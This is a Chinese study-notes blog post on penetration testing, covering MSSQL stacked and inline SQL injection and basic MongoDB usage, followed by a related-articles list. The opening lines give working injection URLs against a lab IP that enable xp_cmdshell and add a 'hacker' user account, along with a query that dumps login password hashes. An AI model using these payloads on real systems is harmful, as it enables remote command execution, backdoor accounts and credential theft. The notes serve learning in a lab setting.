使用xp_cmdshell需要堆叠注入,http://192.168.190.148/less-1.asp?id=1';EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; --
使用xp_cmdshell添加账户,http://192.168.190.148/less-1.asp?id=1';exec master..xp_cmdshell 'net user hacker 123456 /add';--
如果想要看到执行结果,就使用语句创建一个临时表,写入命令执行结果,在读取

数据库表 master..syslogins, master..sysprocesses
列名 name, loginname
数据库凭据 SELECT user,password FROM master.dbo.syslogins
当前用户 user, system_user, suser_sname(), is_srvrolemember('sysadmin')

waitfor delay'0:0:5',mssql的服务器延时
使用sqlmap对Mssql注入漏洞利用
同mysql
--force-pivoting 参数,强制显示结果

SRC应急响应中心

内联注入
select * from (select user,password from users)as a ;,将后边的查询语句内容,当做一个表来查询出来

堆叠注入
select * from users;select user(),version();两个sql语句堆叠在一起执行

mongo注入
mongodb介绍和使用
分布式文件存储数据库,使用c++开发的,可以存储任意数据文件,允许在服务器端执行脚本,使用json形式存储数据{键:值}
支持的变成语言有,php ruby python c++ c# java

安装,apt install mongodb
默认端口,27017

mongodb中的概念
database 数据库
collection 数据表/集合
document 数据记录行/文档
field 数据字段/域
index 索引
table joins 表连接,mongodb不支持
primary key,主键,mongodb自动将_id字段设置为主键
数据库--->集合--->文档--->域
mongodb可以有多个数据库,不同的数据库可以防止在不同的文件中

常用命令
show dbs,查询所有数据库
use 库名,切换到数据库
db,查看当前使用的数据库
db.集合名.find().pretty(),查看集合中所有数据,会将域值输出成json格式
use 库名,创建数据库
db.dropDatabase(),删除库
db.createCollection(集合名 options),创建集合
db.集合名.drop(),删除集合
show collection,查看集合
db.集合名.insert({键:值,键2:值2}),插入文档,键值对就是域,如果集合不存在,会自动创建一个集合然后插入域
文档域的值的数据类型有
布尔型
数值型
字符型
浮点型
数组
内嵌文档
null

命令库
local,存储本地服务器的集合
config,与数据库的分片有关

系统数据库
admin,相当于root数据库,该数据库是一个最高权限的数据库,在该数据库中可以执行全部的命令

2019-10-30:渗透测试,基础学习,mssql堆叠内联注入,mongodb基础语法的更多相关文章

  1. C++基础学习6:内联函数

    C++语言新增关键字 inline,用于将一个函数声明为内联函数.在程序编译时,编译器会将内联函数调用处用函数体替换,这一点类似于C语言中的宏扩展. 采用内联函数可以有效避免函数调用的开销,程序执行效 ...

  2. 零基础到精通Web渗透测试的学习路线

    小编相信很多新手都会遇到以下几个问题 1.零基础想学渗透怎么入手? 2.学习web渗透需要从哪里开始? 这让很多同学都处于迷茫状态而迟迟不下手,小编就在此贴给大家说一下web渗透的学习路线,希望对大家 ...

  3. 第48天学习打卡(HTML 行内元素和块元素 列表 表格 视频和音频 页面结构分析 iframe内联框架 表单语法 )

    行内元素和块元素 块元素 ​ 无论内容多少,该元素独占一行 ​ (p.h1-h6) 行内元素 ​ 内容撑开宽度,左右都是行内元素的可以排在一行 ​ (a.strong.em...) 列表 什么是列表 ...

  4. HTML5学习笔记3 内联SVG

    HTML5支持内联SVG 下面来介绍一下什么是SVG SVG可缩放矢量图形 可缩放矢量是基于可扩展标记语言(标准通用语言的子集),用于描述二维矢量图形的一种图形格式.它由万维网联盟制定,是一个开放标准 ...

  5. C++学习笔记之——内联函数,引用

    本文为原创作品,转载请注明出处 欢迎关注我的博客:http://blog.csdn.net/hit2015spring和http://www.cnblogs.com/xujianqing/ 作者:晨凫 ...

  6. 2019-9-10:渗透测试,基础学习,nmap扫描命令,php基本语法学习,笔记

    nmap参数-sT,使用tcp全连接的方式 ,扫描过程需要三次握手,建立链接,则说明端口开放,扫描速度慢-sS,使用syn的数据包去检测,接收到ACK说明端口开放-sN,null扫描,发出去的数据包不 ...

  7. 2019.10.30 csp-s模拟测试94 反思总结

    头一次做图巨的模拟题OWO 自从上一次听图巨讲课然后骗了小礼物以后一直对图巨印象挺好的233 T1: 对于XY取对数=Y*log(x) 对于Y!取对数=log(1*2*3*...*Y)=log1+lo ...

  8. 2019.9.30极限测试 04.JAVA语言课堂测试试卷-极限测试

    题目存储在上传的文件当中. 代码实现 Subway 类: package ClassroomTest; public class Subway { private String railway; pr ...

  9. 【2019.10.30】SDN上机第1次作业

    用字符命令搭建如下拓扑,要求写出命令 题目一: 字符命令如下: 题目二: 字符命令如下: 利用可视化工具搭建如下拓扑 要求支持OpenFlow 1.0 1.1 1.2 1.3,设置h1(10.0.0. ...

随机推荐

  1. 微信公众号 访问403问题,样式错乱,js失效

    我服了,还是那个微信公众号小项目. 这个项目用的是ssm+velocity 问题的是,有时候页面加载会乱,js,css都加载不出来. 这个问题也是很久了,前几天开会,那个甲方医院很不开心,说是要找下家 ...

  2. 使用IDEA开发Spark程序

    一.分布式估算圆周率 1.计算原理 假设正方形的面积S等于x²,而正方形的内切圆的面积C等于Pi×(x/2)²,因此圆面积与正方形面积之比C/S就为Pi/4,于是就有Pi=4×C/S. 可以利用计算机 ...

  3. 【C#多线程】2.线程池简述+两种传统的异步模式

    线程池简述+两种传统的异步编程模式 1.线程池简述 首先我们要明确一点,编程中讲的线程与平时我们形容CPU几核几线程中的线程是不一样的,CPU线程是指逻辑处理器,比如4核8线程,讲的是这个cpu有8个 ...

  4. [考试反思]1107csp-s模拟测试104: 速度

    20分钟能做什么? 不粘排行榜,没意义,第一机房集体重启,我侥幸找回了两个文件才有分. 实际得分应该是70+100+60,第二机房rank1...放在第一机房就不知道了 T1:中间值 比较喜欢题解的第 ...

  5. 没NOIP了?

    HSEZ李亮:“考虑一下来HSEZ当艺术生吧!"

  6. vue引入百度地图 --BMap is not defined ,eslint BMap报错

    在mounted初始化地图的时候,因为异步问题会导致BMap is not defined,也就是百度的api还没完全引入或者加载完成,就已经进行地图初始化了 解决方法: 1.创建一个map.js e ...

  7. Win7安装解压版MySQL

    1.下载MySQL 访问https://dev.mysql.com/downloads/mysql/5.6.html#downloads,下载操作系统对应的版本(无账号需先注册一个),以mysql-5 ...

  8. C语言程序设计100例之(4):水仙花数

    例4    水仙花数 题目描述 一个三位整数(100-999),若各位数的立方和等于该数自身,则称其为“水仙花数”(如:153=13+53+33),找出所有的这种数. 输入格式 没有输入 输出格式 若 ...

  9. 羞,Java 字符串拼接竟然有这么多姿势

    二哥,我今年大二,看你分享的<阿里巴巴 Java 开发手册>上有一段内容说:"循环体内,拼接字符串最好使用 StringBuilder 的 append 方法,而不是 + 号操作 ...

  10. php imagick svg转成jpg

    php imagick svg转成jpg <pre> public function svgtojpg() { $image = '<?xml version="1.0&q ...